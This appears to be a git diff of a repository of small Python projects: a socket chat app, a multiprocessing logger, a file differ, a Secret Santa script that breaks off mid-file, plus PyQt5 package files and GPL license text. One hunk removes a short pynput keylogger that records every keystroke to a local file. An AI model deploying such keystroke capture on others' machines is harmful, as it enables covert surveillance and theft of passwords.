subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. + +------------------------------------------------------------------------- diff --git a/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/METADATA b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/METADATA new file mode 100644 index 00000000..77adbd29 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/METADATA @@ -0,0 +1,22 @@ +Metadata-Version: 2.1 +Name: PyQt5-sip +Version: 12.9.1 +Summary: The sip module support for PyQt5 +Home-page: https://www.riverbankcomputing.com/software/sip/ +Author: Riverbank Computing Limited +Author-email: info@riverbankcomputing.com +License: SIP +Platform: X11 +Platform: macOS +Platform: Windows +Requires-Python: >=3.5 +License-File: LICENSE +License-File: LICENSE-GPL2 +License-File: LICENSE-GPL3 + +sip Extension Module +==================== + +The sip extension module provides support for the PyQt5 package. + + diff --git a/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/RECORD b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/RECORD new file mode 100644 index 00000000..8be61bac --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/RECORD @@ -0,0 +1,9 @@ +PyQt5/sip.cp37-win_amd64.pyd,sha256=Iwp2ih6sbDjd0DHJdoGkHefH1vhM4IzSADy7R5eBCjw,119808 +PyQt5_sip-12.9.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +PyQt5_sip-12.9.1.dist-info/LICENSE,sha256=LJO11K9M_f6NdVGyv-lx453rN6iuLUB2Xz_WOEZBjGM,2766 +PyQt5_sip-12.9.1.dist-info/LICENSE-GPL2,sha256=frthAG5Guek0DdE11fSvu8sdHWxnCfdEc7NZKQB7mus,18161 +PyQt5_sip-12.9.1.dist-info/LICENSE-GPL3,sha256=Y8tfXB6jm3MsSV81T5ceQPbbhMVnylVzpou2WvB3Qfg,35297 +PyQt5_sip-12.9.1.dist-info/METADATA,sha256=XVbqVtR_WSz0NEX5E1G1bObYlmlzlni3Ux30Klf2AXY,505 +PyQt5_sip-12.9.1.dist-info/RECORD,, +PyQt5_sip-12.9.1.dist-info/WHEEL,sha256=-FqDJjo4HrkrIaThvtAYef2eEAn1_QvVe5nINCnUEbQ,101 +PyQt5_sip-12.9.1.dist-info/top_level.txt,sha256=pQO28HQ07Wo1D-SGyTpeACon1ou4qEva4R_2j4_S2_s,6 diff --git a/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/WHEEL b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/WHEEL new file mode 100644 index 00000000..50364dcd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/WHEEL @@ -0,0 +1,5 @@ +Wheel-Version: 1.0 +Generator: bdist_wheel (0.37.1) +Root-Is-Purelib: false +Tag: cp37-cp37m-win_amd64 + diff --git a/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/top_level.txt b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/top_level.txt new file mode 100644 index 00000000..2d07ca02 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/top_level.txt @@ -0,0 +1 @@ +PyQt5 diff --git a/OTHERS/Jarvis/ools/bin/pylupdate5.exe b/OTHERS/Jarvis/ools/bin/pylupdate5.exe new file mode 100644 index 00000000..183c24c7 Binary files /dev/null and b/OTHERS/Jarvis/ools/bin/pylupdate5.exe differ diff --git a/OTHERS/Jarvis/ools/bin/pyrcc5.exe b/OTHERS/Jarvis/ools/bin/pyrcc5.exe new file mode 100644 index 00000000..0b580281 Binary files /dev/null and b/OTHERS/Jarvis/ools/bin/pyrcc5.exe differ diff --git a/OTHERS/Jarvis/ools/bin/pyuic5.exe b/OTHERS/Jarvis/ools/bin/pyuic5.exe new file mode 100644 index 00000000..09225f79 Binary files /dev/null and b/OTHERS/Jarvis/ools/bin/pyuic5.exe differ diff --git a/OTHERS/KeyLogger/KeyloggerProject.py b/OTHERS/KeyLogger/KeyloggerProject.py deleted file mode 100644 index 40a70c4f..00000000 --- a/OTHERS/KeyLogger/KeyloggerProject.py +++ /dev/null @@ -1,35 +0,0 @@ -import pynput -from pynput.keyboard import Key, Listener - -keys = [] - - - -def on_press(key): - keys.append(key) - write_file(keys) - - try: - print('alphanumeric key {0} pressed'.format(key.char)) - - except AttributeError: - print('special key {0} pressed'.format(key)) - - -def write_file(keys): - with open('log.txt', 'a') as f: - for key in keys: - k = str(key).replace("'", "") - f.write(k) - - f.write(' ') - -def on_release(key): - print('{0} released'.format(key)) - if key == Key.esc: - return False - - -with Listener(on_press=on_press, - on_release=on_release) as listener: - listener.join() diff --git a/OTHERS/Multi_User_Chat_Application/README.md b/OTHERS/Multi_User_Chat_Application/README.md new file mode 100644 index 00000000..b77967ba --- /dev/null +++ b/OTHERS/Multi_User_Chat_Application/README.md @@ -0,0 +1,66 @@ +# Overview +The **Multi-User Chat Application** is a Python-based chat application designed to provide real-time text-based communication among multiple users. + +# Features +The chat application includes the following key features: +* **User Nicknames:** Users can set and display personalized nicknames within the chat. +* **Private Messaging:** Users can send private messages to specific recipients. +* **Message Logging:** All chat messages are logged on the server for historical reference. +* **Error Handling:** The application handles various error scenarios for a stable user experience. + +# Technologies Used +The project was implemented using the following technologies: +* **Python:** The primary programming language used for both the server and client applications. +* **Python's socket library:** Utilized for network communication between the server and clients. +* **Threading:** Implemented to enable concurrent handling of multiple client connections on the server. + +# Installation and Usage +To install and use the chat application, follow these steps: +* Clone the project repository from [GitHub URL](https://github.com/AHNAF14924/Multi-User-Chat-Application.git) +* Open the terminal/command prompt. +* Navigate to the project directory. +* Start the server by running python `server.py` +* Run the client by executing python `client.py` + ## Server Setup + * Choose one of the computers to act as the server. This computer will run the server code. + * Modify the server code to use the computer's local IP address (e.g., '192.168.x.x' or '10.0.x.x') in the host variable. This allows other computers to connect to the server. + * Run the server code on the chosen computer. + + Example server code (change 'host' to the local IP address): + + ``` + host = '192.168.x.x' # Use the local IP address of the server computer +port = 12345 # You can keep the same port + ``` +Start the server: +``` +python3 server.py +``` +## Client Setup +* On each of the other computers, you will run the client code. +* Modify the client code to use the IP address of the computer running the server in the server_host variable. +* Run the client code on each computer. + +Example client code (change 'server_host' to the server's IP address): +``` +server_host = '192.168.x.x' # Use the server's local IP address +server_port = 12345 # Keep the same port as the server +``` +Start the client on each computer: + +``` +python3 client.py +``` +## Join the Chat + +* After starting the client on each computer, you will be prompted to set a nickname. Enter a unique nickname for each user. +* Once the nickname is set, you can start sending messages by typing in the terminal of each client. Messages will be sent to the server and broadcast to all connected clients. + +## Sending Messages + +* To send a regular message, type your message and press Enter. It will be broadcast to all connected clients. +* To send a private message to a specific user, use the "@" symbol followed by the recipient's nickname, a space, and your message. For example: `@JohnDoe Hi, John!` + +## Exiting the Application +To exit the chat application: +* Type `exit` in the terminal and press Enter. This will disconnect you from the chat and close the client application. diff --git a/OTHERS/Multi_User_Chat_Application/client.py b/OTHERS/Multi_User_Chat_Application/client.py new file mode 100644 index 00000000..f5eb8058 --- /dev/null +++ b/OTHERS/Multi_User_Chat_Application/client.py @@ -0,0 +1,61 @@ +import tkinter as tk +from tkinter import scrolledtext +import threading +import socket + +# Create a socket +client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +# Define the server's host and port +server_host = '192.168.0.11' # Change this to the server's IP or hostname +server_port = 12345 + +# Connect to the server +client.connect((server_host, server_port)) + +# Function to send a message +def send_message(): + message = message_entry.get() + client.send(message.encode('utf-8')) + message_entry.delete(0, tk.END) + chat_text.config(state=tk.NORMAL) + chat_text.insert(tk.END, "You: " + message + "\n") + chat_text.config(state=tk.DISABLED) + +# Function to receive and display messages from the server +def receive_messages(): + while True: + try: + message = client.recv(1024).decode('utf-8') + chat_text.config(state=tk.NORMAL) + if message.startswith("Server: "): + chat_text.insert(tk.END, message + "\n") + else: + chat_text.insert(tk.END, message + "\n") + chat_text.config(state=tk.DISABLED) + except: + print("Connection closed.") + client.close() + break + +# Create a GUI for the client +client_gui = tk.Tk() +client_gui.title("Chat Client") + +chat_text = scrolledtext.ScrolledText(client_gui, wrap=tk.WORD) +chat_text.config(state=tk.DISABLED) +chat_text.pack() + +message_entry = tk.Entry(client_gui) +message_entry.pack() + +send_button = tk.Button(client_gui, text="Send", command=send_message) +send_button.pack() + +# Create a thread to receive messages +receive_thread = threading.Thread(target=receive_messages) +receive_thread.start() + +# Main GUI loop +client_gui.mainloop() + diff --git a/OTHERS/Multi_User_Chat_Application/server.py b/OTHERS/Multi_User_Chat_Application/server.py new file mode 100644 index 00000000..d18a3288 --- /dev/null +++ b/OTHERS/Multi_User_Chat_Application/server.py @@ -0,0 +1,83 @@ +import socket +import threading + +# Create a socket +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +# Define the host and port +host = '192.168.0.11' # Listen on all available network interfaces +port = 12345 + +# Bind the socket to the host and port +server.bind((host, port)) + +# Listen for incoming connections +server.listen() + +print(f"Server listening on {host}:{port}") + +# Store client connections and nicknames in dictionaries +clients = {} +nicknames = {} + +# Function to broadcast messages to all connected clients +def broadcast(message, sender=None): + for client_socket, nickname in zip(clients, nicknames): + if client_socket != sender: + try: + client_socket.send(message.encode('utf-8')) + except: + remove_client(client_socket) + +# Function to handle client connections +def handle_client(client_socket): + try: + # Request and store the user's nickname + client_socket.send("Enter your nickname: ".encode('utf-8')) + nickname = client_socket.recv(1024).decode('utf-8') + nicknames[client_socket] = nickname + print(f"Nickname of {nickname} is set.") + + # Welcome message + welcome_message = f"Welcome, {nickname}!" + client_socket.send(welcome_message.encode('utf-8')) + + while True: + message = client_socket.recv(1024) + if not message: + remove_client(client_socket) + break + elif message.decode('utf-8').lower() == 'exit': + remove_client(client_socket) + elif message.decode('utf-8').startswith('@'): + # Private message + recipient = message.decode('utf-8').split(' ')[0][1:] + if recipient in nicknames.values(): + recipient_socket = list(nicknames.keys())[list(nicknames.values()).index(recipient)] + recipient_socket.send(f"(Private) {nickname}: {message.decode('utf-8')[len(recipient) + 2:]}".encode('utf-8')) + else: + client_socket.send("Recipient not found.".encode('utf-8')) + else: + # Broadcast regular message + broadcast(f"{nickname}: {message.decode('utf-8')}", sender=client_socket) + except: + remove_client(client_socket) + +# Function to remove a client from the server +def remove_client(client_socket): + if client_socket in clients: + print(f"Connection closed with {nicknames[client_socket]}") + del nicknames[client_socket] + clients.pop(client_socket) + client_socket.close() + +# Main server loop +while True: + client_socket, client_address = server.accept() + print(f"Accepted connection from {client_address}") + clients[client_socket] = client_address + + # Start a thread to handle the client + client_thread = threading.Thread(target=handle_client, args=(client_socket,)) + client_thread.start() + diff --git a/OTHERS/MultiprocessingLogger/README.md b/OTHERS/MultiprocessingLogger/README.md new file mode 100644 index 00000000..44083ed8 --- /dev/null +++ b/OTHERS/MultiprocessingLogger/README.md @@ -0,0 +1,28 @@ +# Python Logging Helper for Multiple Processes + +## Description +This is a helper class that allows Python developers to log to a single log file from multiple processes easily. + +## Examples +The following is an example code snippet in **main.py**, which provides two modes: + +1. Running in Multiprocessing Pool: +```python +python3 main.py --is_pool yes +``` + +1. Running in Normal Multiprocessing: +```python +python3 main.py --is_pool no +``` + +The log file will be created in the log directory and named mulp.log. + +* Log File Content +``` +06-17 13:41:13 | sub | INFO | /projects/OTHERS/MultiprocessingLogger/main.py:19 | 26802 | c +06-17 13:41:13 | sub | INFO | /projects/OTHERS/MultiprocessingLogger/main.py:19 | 26803 | d +06-17 13:41:13 | sub | INFO | /projects/OTHERS/MultiprocessingLogger/main.py:19 | 26799 | a +06-17 13:41:13 | sub | INFO | /projects/OTHERS/MultiprocessingLogger/main.py:19 | 26804 | e +06-17 13:41:13 | sub | INFO | /projects/OTHERS/MultiprocessingLogger/main.py:19 | 26801 | b +``` \ No newline at end of file diff --git a/OTHERS/MultiprocessingLogger/logger.py b/OTHERS/MultiprocessingLogger/logger.py new file mode 100644 index 00000000..5e18593c --- /dev/null +++ b/OTHERS/MultiprocessingLogger/logger.py @@ -0,0 +1,84 @@ +import logging +import logging.handlers +import multiprocessing +import os +import sys + +from pathlib import Path + +class MultiProcesses_Logging_Helper: + + def __init__(self) -> None: + self.queue = multiprocessing.Manager().Queue(-1) + + self.process = multiprocessing.get_context('fork').Process( + target=self._process_target, + ) + self.process.start() + self.redirect_main_process_log_to_queue() + + def get_log_file_path(self) -> str: + # TODO: make this configurable + log_file_dir = os.path.join(Path(__file__).parent, 'logs') + Path(log_file_dir).mkdir(parents=True, exist_ok=True) + log_file_path = os.path.join(log_file_dir, 'multip.log') + return log_file_path + + def redirect_main_process_log_to_queue(self): + + main_process_id = os.getpid() + + def filter(record: logging.LogRecord): + if record.process == main_process_id: + self.queue.put_nowait(record) + return None + + root = logging.getLogger() + root.setLevel(logging.INFO) + + handler = logging.Handler() + handler.addFilter(filter) + root.addHandler(handler) + + def init_logger_configure(self): + + root = logging.getLogger() + root.setLevel(logging.INFO) + + # TODO: make this configurable + file_handler = logging.handlers.RotatingFileHandler( + self.get_log_file_path(), + mode='w', + # maxBytes=5000, + # backupCount=0, + encoding='utf-8' + ) + file_handler.setLevel(logging.INFO) + file_handler_formatter = logging.Formatter( + fmt='%(asctime)s | %(name)s | %(levelname)s | %(pathname)s:%(lineno)d | %(process)d | %(message)s', + datefmt="%m-%d %H:%M:%S" + ) + file_handler.setFormatter(file_handler_formatter) + root.addHandler(file_handler) + + std_handler = logging.StreamHandler(sys.stdout) + std_handler.setLevel(logging.DEBUG) + std_handler_formatter = logging.Formatter( + fmt='%(asctime)s | %(name)s | %(levelname)s | %(pathname)s:%(lineno)d | %(process)d | %(message)s', + datefmt="%m-%d %H:%M:%S" + ) + std_handler.setFormatter(std_handler_formatter) + root.addHandler(std_handler) + + def _process_target(self): + self.init_logger_configure() + while True: + record: logging.LogRecord = self.queue.get() + if record is None: + break + logger = logging.getLogger(record.name) + logger.handle(record) + + def close(self): + self.process.join(timeout=0) + self.process.terminate() diff --git a/OTHERS/MultiprocessingLogger/main.py b/OTHERS/MultiprocessingLogger/main.py new file mode 100644 index 00000000..0688461b --- /dev/null +++ b/OTHERS/MultiprocessingLogger/main.py @@ -0,0 +1,52 @@ +import argparse +import logging +import logging.handlers +import multiprocessing +from functools import partial +from logger import MultiProcesses_Logging_Helper + + +def process_target(queue: multiprocessing.Queue, input: str): + # add queue handler at the beginning of the process + sub_logger = logging.getLogger('sub') + sub_logger.setLevel(logging.INFO) + queue_handler = logging.handlers.QueueHandler(queue) + + # this process may be reused multiple times (when multiprocessing pool) + if len(sub_logger.handlers) == 0 or not isinstance(sub_logger.handlers[0], logging.handlers.QueueHandler): + sub_logger.addHandler(queue_handler) + + sub_logger.info(input) + + +def main(is_pool: bool): + logger_helper = MultiProcesses_Logging_Helper() + + if is_pool: + print("run in multiprocessing pool") + pool = multiprocessing.Pool(2) + inputs = [i for i in ["a", "b", "c", "d", "e"]] + pool.map(partial(process_target, logger_helper.queue), inputs) + logger_helper.queue.put_nowait(None) + pool.close() + pool.join() + else: + print("run in multiprocessing") + workers = [] + for i in ["a", "b", "c", "d", "e"]: + worker = multiprocessing.get_context('fork').Process(target=process_target, + args=(logger_helper.queue, i)) + workers.append(worker) + worker.start() + for w in workers: + w.join() + logger_helper.queue.put_nowait(None) + + logger_helper.close() + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='') + parser.add_argument('-p', '--is_pool', help='is run in multiprocessing pool mode', default=True, type=lambda x: (str(x).lower() in ['true','1', 'yes', 'y', 'True'])) + args = parser.parse_args() + main(args.is_pool) diff --git a/OTHERS/PyDiff/README.md b/OTHERS/PyDiff/README.md new file mode 100644 index 00000000..d3fdcef5 --- /dev/null +++ b/OTHERS/PyDiff/README.md @@ -0,0 +1,15 @@ +## PyDiff +A simple python script to compare two files using *Dynamic Programming* based algorithm. + +Usage: +```sh +py pydiff.py file1.txt file2.txt +``` + +Output: +```sh +file1.txt | - 13 | mattis justo quis porta porttitor. +file2.txt | + 13 | Aenean mattis justo quis porta porttitor. +file1.txt | - 10 | Nullam elementum nunc in massa fringilla, sit amet iaculis elit blandit. +file2.txt | + 10 | elementum nunc in massa fringilla, sit amet iaculis elit blandit. +``` diff --git a/OTHERS/PyDiff/file1.txt b/OTHERS/PyDiff/file1.txt new file mode 100644 index 00000000..0fa5f2bf --- /dev/null +++ b/OTHERS/PyDiff/file1.txt @@ -0,0 +1,14 @@ +Lorem ipsum dolor sit amet, consectetur adipiscing elit. +Nulla volutpat mauris in magna posuere, in volutpat turpis pulvinar. +Mauris semper ante non maximus vulputate. +Fusce sollicitudin justo ut arcu blandit, id feugiat ex rhoncus. +Suspendisse lacinia nisl sit amet vestibulum varius. +Sed vestibulum erat in urna tempus mollis. +Aliquam varius lectus eget dui consequat, sed aliquet diam ultricies. +Sed a lectus a orci blandit accumsan. +Etiam eu augue ac ipsum tempus lobortis at vitae nibh. +Nullam elementum nunc in massa fringilla, sit amet iaculis elit blandit. +Nam et nulla fermentum ligula laoreet malesuada sed nec risus. +Pellentesque maximus velit non massa faucibus, vel aliquam ante pharetra. +mattis justo quis porta porttitor. +Donec dignissim ligula et pretium feugiat. diff --git a/OTHERS/PyDiff/file2.txt b/OTHERS/PyDiff/file2.txt new file mode 100644 index 00000000..b348e2d1 --- /dev/null +++ b/OTHERS/PyDiff/file2.txt @@ -0,0 +1,14 @@ +Lorem ipsum dolor sit amet, consectetur adipiscing elit. +Nulla volutpat mauris in magna posuere, in volutpat turpis pulvinar. +Mauris semper ante non maximus vulputate. +Fusce sollicitudin justo ut arcu blandit, id feugiat ex rhoncus. +Suspendisse lacinia nisl sit amet vestibulum varius. +Sed vestibulum erat in urna tempus mollis. +Aliquam varius lectus eget dui consequat, sed aliquet diam ultricies. +Sed a lectus a orci blandit accumsan. +Etiam eu augue ac ipsum tempus lobortis at vitae nibh. +elementum nunc in massa fringilla, sit amet iaculis elit blandit. +Nam et nulla fermentum ligula laoreet malesuada sed nec risus. +Pellentesque maximus velit non massa faucibus, vel aliquam ante pharetra. +Aenean mattis justo quis porta porttitor. +Donec dignissim ligula et pretium feugiat. diff --git a/OTHERS/PyDiff/pydiff.py b/OTHERS/PyDiff/pydiff.py new file mode 100644 index 00000000..df581bdc --- /dev/null +++ b/OTHERS/PyDiff/pydiff.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python3 + +import argparse + + +class Colors: + HEADER = '\033[95m' + OKBLUE = '\033[94m' + OKCYAN = '\033[96m' + OKGREEN = '\033[92m' + WARNING = '\033[93m' + FAIL = '\033[91m' + ENDC = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + + +ADD = "Add" +REMOVE = "Remove" +IGNORE = "Ignore" + +def print_matrix(m1, m2): + for i in range(len(m1) + 1): + for j in range(len(m2) + 1): + print(f"{m1[i][j]}({m2[i][j]})", end=", ") + print() + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("file1") + parser.add_argument("file2") + args = parser.parse_args() + + file1 = args.file1 + file2 = args.file2 + + with open(file1, 'r') as f: + file_content1 = f.read() + + with open(file2, 'r') as f: + file_content2 = f.read() + + lines1 = file_content1.splitlines() + lines2 = file_content2.splitlines() + + n = len(lines1) + m = len(lines2) + + distances = [[0 for _ in range(m + 1)] for _ in range(n + 1)] + action = [['0' for _ in range(m + 1)] for _ in range(n + 1)] + + distances[0][0] = 0 + action[0][0] = IGNORE + + for j in range(1, m + 1): + i = 0 + distances[i][j] = j + action[i][j] = ADD + + for i in range(1, n + 1): + j = 0 + distances[i][j] = i + action[i][j] = REMOVE + + for i in range(1, n + 1): + for j in range(1, m + 1): + if lines1[i - 1] == lines2[j - 1]: + action[i][j] = IGNORE + distances[i][j] = distances[i - 1][j - 1] + continue + + removeOps = distances[i - 1][j] + addOps = distances[i][j - 1] + + distances[i][j] = removeOps + action[i][j] = REMOVE + + if distances[i][j] > addOps: + distances[i][j] = addOps + action[i][j] = ADD + + distances[i][j] += 1 + + i = n + j = m + res = [] + + while i > 0 and j > 0: + _action = action[i][j] + if _action == IGNORE: + i -= 1 + j -= 1 + elif _action == ADD: + j -= 1 + res.append((file2, ADD, j + 1, lines2[j])) + elif _action == REMOVE: + i -= 1 + res.append((file1, REMOVE, i + 1, lines1[i])) + else: + raise Exception("Unhandled action") + + if not res: + print(f"{Colors.HEADER}They are the same :){Colors.ENDC}") + exit(0) + + for (fname, ac, lineno, line) in res: + if ac == ADD: + print(fr"{Colors.HEADER}{fname}{Colors.ENDC} | { + Colors.OKGREEN}+ {lineno} | {line}{Colors.ENDC}") + + elif ac == REMOVE: + print(fr"{Colors.HEADER}{fname}{Colors.ENDC} | { + Colors.FAIL}- {lineno} | {line}{Colors.ENDC}") + + +if __name__ == "__main__": + main() diff --git a/OTHERS/Secret Santa Program/README.md b/OTHERS/Secret Santa Program/README.md new file mode 100644 index 00000000..f4e64b2c --- /dev/null +++ b/OTHERS/Secret Santa Program/README.md @@ -0,0 +1,14 @@ +# Description: + +This is a program used to assign people a person anonymously within a group. + +Note: This program was created out of boredom. + +# How to use: + +1. Write numbers 1 to n people for how many would like to participate on paper. +2. Fold or scrunch up the numbers and shuffle. +3. Each individual draws a number. +4. Run main.py. +5. Follow Steps. +6. Should there be any players remaining not present, screenshot the results and give them a number without looking. \ No newline at end of file diff --git a/OTHERS/Secret Santa Program/main.py b/OTHERS/Secret Santa Program/main.py new file mode 100644 index 00000000..10ed17fc --- /dev/null +++ b/OTHERS/Secret Santa Program/main.py @@ -0,0 +1,86 @@ +import os +import numpy as np + +command = input("Input command (A Name, Remove, Exit): ") +groupList = [] + + +def printList(list): + for name in list: + print(name[0]) + + +def printTrueList(list): + print("\nDEBUGGING ONLY:\n") + for name in list: + print(name) + + +def randomise(groupList): + lengthList = list(range(1, len(groupList) + 1)) + groupNumberList = [] + nameList = [] + trueList = [] + Toggle = True + + for i in groupList: + 